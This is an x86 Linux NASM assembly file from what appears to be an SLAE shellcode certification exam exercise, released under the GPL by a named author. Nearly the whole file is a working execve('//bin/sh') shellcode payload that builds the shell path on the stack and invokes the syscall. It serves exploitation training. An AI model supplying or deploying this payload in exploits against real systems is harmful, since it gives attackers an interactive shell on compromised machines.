SLAE/exam3/access-scasd/payload.nasm

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NASM
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2013-03-28 12:20:50 +00:00
; This program is free software: you can redistribute it and/or modify
; it under the terms of the GNU General Public License as published by
; the Free Software Foundation, either version 3 of the License, or
; (at your option) any later version.
;
; This program is distributed in the hope that it will be useful,
; but WITHOUT ANY WARRANTY; without even the implied warranty of
; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
; GNU General Public License for more details.
;
; You should have received a copy of the GNU General Public License
; along with this program. If not, see <http://www.gnu.org/licenses/>.
; Filename: payload-execve-stack.nasm
; Author: Andrey Arapov <andrey.arapov@gmail.com>
; 2013 March
global _start
section .text
_start:
; EAX
xor eax, eax
mov al, 11 ; execve syscall
; EBX
xor edx, edx
push edx ; NULL termination of '//bin/sh' string
push 0x68732f6e ; '//bin/sh' in reverse
push 0x69622f2f ; beginning of '//bin/sh' string is here
mov ebx, esp ; put the address of '//bin/sh' into ebx via esp
; ECX
push edx ; NULL termination of a stack
push ebx ; load our '//bin/sh' on a stack
mov ecx, esp ; ECX is a PTR to stack where we've got EBX address to '//bin/sh' string.
; EDX
push edx ; NULL terminator
mov edx, esp ; EDX is a PTR to a stack which has an address to NULL.
int 0x80